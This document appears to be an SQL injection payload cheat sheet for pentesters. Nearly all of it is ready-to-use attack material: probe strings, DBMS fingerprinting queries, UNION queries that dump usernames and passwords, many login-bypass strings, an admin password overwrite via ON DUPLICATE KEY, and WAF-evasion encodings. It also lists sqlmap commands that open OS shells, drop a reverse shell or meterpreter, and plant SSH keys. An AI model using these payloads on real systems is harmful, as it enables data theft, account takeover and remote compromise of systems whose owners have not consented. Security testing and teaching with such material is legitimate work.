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SQL Injection

What is SQL Injection?

SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.

Types

  • Union-based SQLi
  • Error-based SQLi
  • Blind SQLi
  • Boolean-based (content-based) Blind SQLi
  • Time-based Blind SQLi

Entry point detection

Detection of an SQL injection entry point Simple characters

'
%27
"
%22
# ****
%23
;
%3B
)
Wildcard (*)
'  # required for XML content

Multiple encoding

%%2727
%25%27

Merging characters

`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP

Logic Testing

page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

Weird characters

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

DBMS Identification

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Dumping the Database (Manual)

  • Extract the table names

union all select table_name from information_schema.tables

  • group_concat() can be used to extract all the data at once.

union all select group_concat(table_name) from information_schema.tables

above query will return all the tables present in the database.

  • Extract columns

union all select group_concat(column_name1),group_conat(column_name2) from information_schema.tables where table_name='tablename'

  • Extract data

union all select group_concat(username),group_conat(passwords) from tablename

SQL injection using SQLmap

Basic arguments for SQLmap

sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs

Load a request file and use mobile user-agent

sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1

Custom injection in UserAgent/Header/Referer/Cookie

python sqlmap.py -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

SQL Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --sql-shell

Simple Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-shell

Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-pwn

SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/

Crawl a website with SQLmap and auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Using TOR with SQLmap

sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5

Using a proxy with SQLmap

sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"

sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080"  -f  --time-sec 15 --level 3

Using suffix to tamper the injection

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

General tamper option and tamper's list

tamper=name_of_the_tamper
Tamper Description
0x2char.py Replaces each (MySQL) 0x encoded string with equivalent CONCAT(CHAR(),…) counterpart
apostrophemask.py Replaces apostrophe character with its UTF-8 full width counterpart
apostrophenullencode.py Replaces apostrophe character with its illegal double unicode counterpart
appendnullbyte.py Appends encoded NULL byte character at the end of payload
base64encode.py Base64 all characters in a given payload
between.py Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
bluecoat.py Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator
chardoubleencode.py Double url-encodes all characters in a given payload (not processing already encoded)
charencode.py URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)
charunicodeencode.py Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)
charunicodeescape.py Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)
commalesslimit.py Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'
commalessmid.py Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'
commentbeforeparentheses.py Prepends (inline) comment before parentheses (e.g. ( -> /**/()
concat2concatws.py Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Url-encodes all characters in a given payload (not processing already encoded)
charunicodeencode.py Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)
equaltolike.py Replaces all occurances of operator equal ('=') with operator 'LIKE'
escapequotes.py Slash escape quotes (' and ")
greatest.py Replaces greater than operator ('>') with 'GREATEST' counterpart
halfversionedmorekeywords.py Adds versioned MySQL comment before each keyword
htmlencode.py HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ')
ifnull2casewhenisnull.py Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart
ifnull2ifisnull.py Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
informationschemacomment.py Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier
least.py Replaces greater than operator (‘>’) with ‘LEAST’ counterpart
lowercase.py Replaces each keyword character with lower case value (e.g. SELECT -> select)
modsecurityversioned.py Embraces complete query with versioned comment
modsecurityzeroversioned.py Embraces complete query with zero-versioned comment
multiplespaces.py Adds multiple spaces around SQL keywords
nonrecursivereplacement.py Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters
overlongutf8.py Converts all characters in a given payload (not processing already encoded)
overlongutf8more.py Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
percentage.py Adds a percentage sign ('%') infront of each character
plus2concat.py Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart
plus2fnconcat.py Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart
randomcase.py Replaces each keyword character with random case value
randomcomments.py Add random comments to SQL keywords
securesphere.py Appends special crafted string
sp_password.py Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
space2comment.py Replaces space character (' ') with comments
space2dash.py Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
space2hash.py Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2morehash.py Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2mssqlblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mssqlhash.py Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
space2mysqlblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mysqldash.py Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
space2plus.py Replaces space character (' ') with plus ('+')
space2randomblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
symboliclogical.py Replaces AND and OR logical operators with their symbolic counterparts (&& and
unionalltounion.py Replaces UNION ALL SELECT with UNION SELECT
unmagicquotes.py Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)
uppercase.py Replaces each keyword character with upper case value 'INSERT'
varnish.py Append a HTTP header 'X-originating-IP'
versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment
versionedmorekeywords.py Encloses each keyword with versioned MySQL comment
xforwardedfor.py Append a fake HTTP header 'X-Forwarded-For'

Authentication bypass flow

User name Password SQL Query
tom tom

SELECT * FROM users
WHERE name='tom'
and password='tom'
tom ' or '1'='1

SELECT * FROM users
WHERE name='tom'
and password='' or '1'='1'
tom ' or 1='1

SELECT * FROM users
WHERE name='tom'
and password='' or 1='1'
tom 1' or 1=1 -- -

SELECT * FROM users
WHERE name='tom'
and password='' or 1=1-- -'
' or '1'='1 ' or '1'='1

SELECT * FROM users
WHERE name='' or '1'='1'
and password='' or '1'='1'
' or ' 1=1 ' or ' 1=1

SELECT * FROM users
WHERE name='' or ' 1=1'
and password='' or ' 1=1'
1' or 1=1 -- - blah

SELECT * FROM users
WHERE name='1' or 1=1 -- -'
and password='blah'

Authentication bypass

'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer 
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Authentication Bypass (Raw MD5 SHA1)

When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Allowing an attacker to craft a string with a true statement such as ' or 'SOMETHING

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Challenge demo available at http://web.jarvisoj.com:32772

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

/* MySQL only */
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/

Routed injection

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Insert Statement - ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

Inject using payload:
  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!

WAF Bypass

No Space (%20) - bypass using whitespace alternatives

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass using comments

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass using parenthesis

?id=(1)and(1)=(1)--

No Comma - bypass using OFFSET, FROM and JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

No Equal - bypass using LIKE/NOT IN/IN/BETWEEN

?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4

Blacklist using keywords - bypass using uppercase/lowercase

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist using keywords case insensitive - bypass using an equivalent operator

AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, BETWEEN, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING

Information_schema.tables Alternative

select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+

Version Alternative

mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

References

Sqlmap Tamper Suggester